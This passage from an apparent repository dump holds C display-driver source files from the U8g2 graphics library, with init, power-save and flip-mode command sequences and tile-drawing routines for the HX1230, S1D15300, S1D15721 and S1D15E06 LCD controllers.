U8X8_C(0x0a0),\t\t                /* */\n  U8X8_C(0x0c0),\t\t                /* */\n  \n  U8X8_C(0x040),\t\t                /* start at scanline 0 */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_hx1230_96x68_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x02f),\t\t                /* power on */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_hx1230_96x68_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),           \t\t/* display off */\n  U8X8_C(0x0a5),\t     \t\t/* All pixels on = powersave */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_hx1230_96x68_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t                /* */\n  U8X8_C(0x0c0),\t\t                /* */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_hx1230_96x68_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t                /* */\n  U8X8_C(0x0c8),\t\t                /* */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_hx1230_96x68_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_hx1230_96x68_display_info);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_hx1230_96x68_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_hx1230_96x68_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_hx1230_96x68_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_hx1230_96x68_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_hx1230_96x68_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, (arg_int>>3)|0x80 );\t/* 0..31 for contrast */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n    \n      u8x8_cad_SendCmd(u8x8, x&15);\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | ((u8x8_tile_t *)arg_ptr)->y_pos);\n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\nstatic const u8x8_display_info_t u8x8_hx1230_96x68_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 100,\n  /* pre_chip_disable_wait_ns = */ 100,\n  /* reset_pulse_width_ms = */ 100, \n  /* post_reset_wait_ms = */ 100, \n  /* sda_setup_time_ns = */ 100,\t\n  /* sck_pulse_width_ns = */ 100,\t\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t\n  /* tile_width = */ 12,\n  /* tile_height = */ 9,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 96,\n  /* pixel_height = */ 68\n};\n\nuint8_t u8x8_d_hx1230_96x68(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_hx1230_96x68_display_info);\n      return 1;\n    }\n    return u8x8_d_hx1230_96x68_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_s1d15300.c",
    "content": "/*\n\n  u8x8_d_s1d15300.c\n  \n  WARNING: As of today, flip mode 1 doesn't seem to work (see issue 2063)\n  \n  Created as a copy of u8x8_d_st7565.c, see https://github.com/olikraus/u8g2/issues/2063\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2022, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\n\nstatic const uint8_t u8x8_d_s1d15300_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a4),\t\t                /* all pixel off, see datasheet for the s1d15300 */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_s1d15300_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe, see datasheet for the s1d15300 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_s1d15300_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_s1d15300_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_s1d15300_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      /* \n\tThe following if condition checks the hardware limits of the st7565 \n\tcontroller: It is not allowed to write beyond the display limits.\n\tThis is in fact an issue within flip mode.\n      */\n      if ( c + x > 132u )\n      {\n\tc = 132u;\n\tc -= x;\n      }\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15300_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15300_powersave1_seq);\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x080 |  (arg_int >> 3) ); /* s1d15300 has only 5 bits for contrast */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*================================================*/\n/* LM6023, S1D15300 controller, issue 2063 */\n\nstatic const u8x8_display_info_t u8x8_s1d15300_lm6023_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 250,\t/*  */\n  /* pre_chip_disable_wait_ns = */ 120,\t/*  */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 200,\t\t/* */\n  /* sck_pulse_width_ns = */ 200,\t/* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 200,\t/* st7565 datasheet, table 24, tds8 */\n  /* write_pulse_width_ns = */ 200,\t/* st7565 datasheet, table 24, tcclw */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 4,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\n\nstatic const uint8_t u8x8_d_s1d15300_lm6023_init_seq[] = {\n\n#ifdef OBSOLETE  \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on */\n  U8X8_CA(0x0f8, 0x000),\t\t/* set booster ratio to 4x */\n  U8X8_C(0x025),\t\t                /* set V0 voltage resistor ratio to large,  issue 1678: changed from 0x23 to 0x25 */\n  U8X8_CA(0x081, 170),\t\t\t/* set contrast, contrast value NHD C12864, see issue 186, increased contrast to 180 (issue 219), reduced to 170 (issue 1678) */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n#endif\n  \n\n    U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */\n\n    U8X8_C(0x0e2), /* soft reset */\n\n    U8X8_C(0x0ae), /* display off */\n    U8X8_C(0x040), /* set display start line to 0 */\n    U8X8_C(0x0a0), /* ADC set to normal */\n    U8X8_C(0x0a6), /* Display normal */\n    U8X8_C(0x0a4), /* all point normal */\n\n    U8X8_C(0x0a2), /* LCD bias 1/8 */\n    U8X8_C(0x0c0), /* common output mode */\n    U8X8_C(0x02f), /* all power control circuits on */\n\n\n    U8X8_C(0x090), /* set contrast */\n    //U8X8_C(0x0af), /* display on */\n\n    U8X8_C(0x0b0), /* set page address */\n    U8X8_C(0x01f), /* set column address upper */\n    U8X8_C(0x000), /* set column address lower */\n\n    U8X8_END_TRANSFER(), /* disable chip */\n    U8X8_END()           /* end of sequence */  \n};\n\nuint8_t u8x8_d_s1d15300_lm6023(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_s1d15300_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_s1d15300_lm6023_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15300_lm6023_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15300_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15300_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n/*================================================*/\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_s1d15721.c",
    "content": "/*\n\n  u8x8_d_s1d15721.c\n\n  240x64 display\n  https://github.com/olikraus/u8g2/issues/1473  \n  http://datasheet.datasheetarchive.com/originals/library/Datasheets-ISS16/DSAIH000309343.pdf\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n  \n  Copyright (c) 2020, olikraus@gmail.com\n  \n  All rights reserved.\n  \n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n    \n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n#include \"u8x8.h\"\n\nstatic const uint8_t u8x8_d_s1d15721_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0xA8),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_s1d15721_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0xA8|1),\t\t                /* display off, enter sleep mode */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_s1d15721_flip0_seq[] = {\n  U8X8_START_TRANSFER(),            /* enable chip, delay is part of the transfer start */\n  U8X8_C(0xA6),            \t\t\t/* LCD Mapping */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_s1d15721_flip1_seq[] = {\n  U8X8_START_TRANSFER(),            /* enable chip, delay is part of the transfer start */\n  U8X8_C(0xA7),            \t\t\t/* LCD Mapping */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_s1d15721_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x += u8x8->x_offset;\n      x *= 8;\n\n\t  u8x8_cad_SendCmd(u8x8, 0xB1);\t//Page Address - Row\n\t  u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n\n      y = ((u8x8_tile_t *)arg_ptr)->y_pos;\n\n      u8x8_cad_SendCmd(u8x8, 0x13);\t/* col */\n      u8x8_cad_SendArg(u8x8, x);\n\n      /* 4 Mar 2022: added the missing page address, issue 1802 */\n      u8x8_cad_SendCmd(u8x8, 0xb1);\t/* page address */\n      u8x8_cad_SendArg(u8x8, y);\n\n\t  u8x8_cad_SendCmd(u8x8, 0x1D );\t//Data Write\n\n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      do\n      {\n\t\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\t\targ_int--;\n      } while( arg_int > 0 );\n\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    /*\thandled in the calling procedure \n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1608_128x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15721_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15721_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15721_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15721_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      break;\n#endif\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*================================================*/\n/* s1d15721 240x64 */\n\n\nstatic const u8x8_display_info_t u8x8_s1d15721_240x64_display_info =\n{\n  /* chip_enable_level = */ 0,\t/* low active CS */\n  /* chip_disable_level = */ 1,\n\n  /* post_chip_enable_wait_ns = */ 10,\t/* */\n  /* pre_chip_disable_wait_ns = */ 20,\t        /* */\n  /* reset_pulse_width_ms = */ 1, \t        /* */\n  /* post_reset_wait_ms = */ 10, \t\n  /* sda_setup_time_ns = */ 30,\t\t/*  */\n  /* sck_pulse_width_ns = */ 65,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t         /*  */\n  /* write_pulse_width_ns = */ 65,\t/* */\n  /* tile_width = */ 30,\t\t                /* width of 20*8=160 pixel (30*8 = 240) */\n  /* tile_height = */ 8,                 /* height 8*8 = 64*/\n  /* default_x_offset = */ 1,\t\n  /* flipmode_x_offset = */ 1,\t\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 64\n};\n\nstatic const uint8_t u8x8_d_s1d15721_240x64_init_seq[] = {\n  U8X8_START_TRANSFER(),           \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0xC4|1),       \t    \t        /* (5) Common Output Status (Reverse) */\n  U8X8_CA(0xA6, 0x01),            \t/* (3) Display Normal Reverse (Normal) */\n  U8X8_CA(0xA4, 0x00), \t           \t/* (4) Display All Light (Normal) */\n  U8X8_CAA(0x6D,0x10,0x02), \t\t/* (18) Duty Set Command */\n  U8X8_CA(0x66, 0x01),           \t/* (15) Display Mode, Parameter 0 (0 = Gray Scale 1 = Binary */\n  U8X8_CA(0x39, 0x36),            \t/* (16) Gray Scale Pattern Set, Pattern */\n  U8X8_CA(0x2B, 0x07),\t\t\t/* (27) LCD Drive Mode Voltage Select, Parameter */\n  U8X8_CA(0x81, 0x0a),\t\t        /* (28) Electronic Volume, Parameter */\n  U8X8_CA(0x5F, 0x00),\t\t        /* (24) Built-in Oscillator Frequency, Parameter  */\n  U8X8_C(0xAA|1),\t\t\t        /* (23) Built-in OSC On */  \n  U8X8_CA(0x25, 0x1f),\t\t        /* (25) Power Control Set, Parameter  */\n  U8X8_CA(0x8A, 0x00),\t\t        /* (6) Start Line Setup, Parameter  */\n  U8X8_CA(0xB1, 0x00),\t\t        /* (7) Page Address Set, Parameter  */\n  U8X8_CA(0x13, 0x00),\t\t        /* (8) Column Address Set  */\n  U8X8_C(0xAE|1),\t\t\t        /* (1) Display ON/OFF */  \n  U8X8_END_TRANSFER(),           /* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_s1d15721_240x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n\n  /* checking for the flip mode cmd first */\n  if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n  {\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15721_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15721_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      return 1;\n  }\n  /* call the common procedure, this now leads to the effect, that the flip code is executed again */\n  /* maybe we should paste the common code here to avoid this */\n\n\n  if ( u8x8_d_s1d15721_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_s1d15721_240x64_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15721_240x64_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_s1d15e06.c",
    "content": "/*\n\n  u8x8_d_s1d15e06.c\n  \n  https://github.com/olikraus/u8g2/pull/1190\n  https://github.com/olikraus/u8g2/issues/1172\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n  \n  Copyright (c) 2020, olikraus@gmail.com\n  \n  All rights reserved.\n  \n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n    \n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n#include \"u8x8.h\"\n\nstatic const uint8_t u8x8_d_s1d15e06_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0xA8),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_s1d15e06_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0xA8|1),\t\t                /* display off, enter sleep mode */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_s1d15e06_flip0_seq[] = {\n  U8X8_START_TRANSFER(),            /* enable chip, delay is part of the transfer start */\n  U8X8_C(0xA6),            \t\t\t/* LCD Mapping */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_s1d15e06_flip1_seq[] = {\n  U8X8_START_TRANSFER(),            /* enable chip, delay is part of the transfer start */\n  U8X8_C(0xA7),            \t\t\t/* LCD Mapping */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_s1d15e06_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n\n  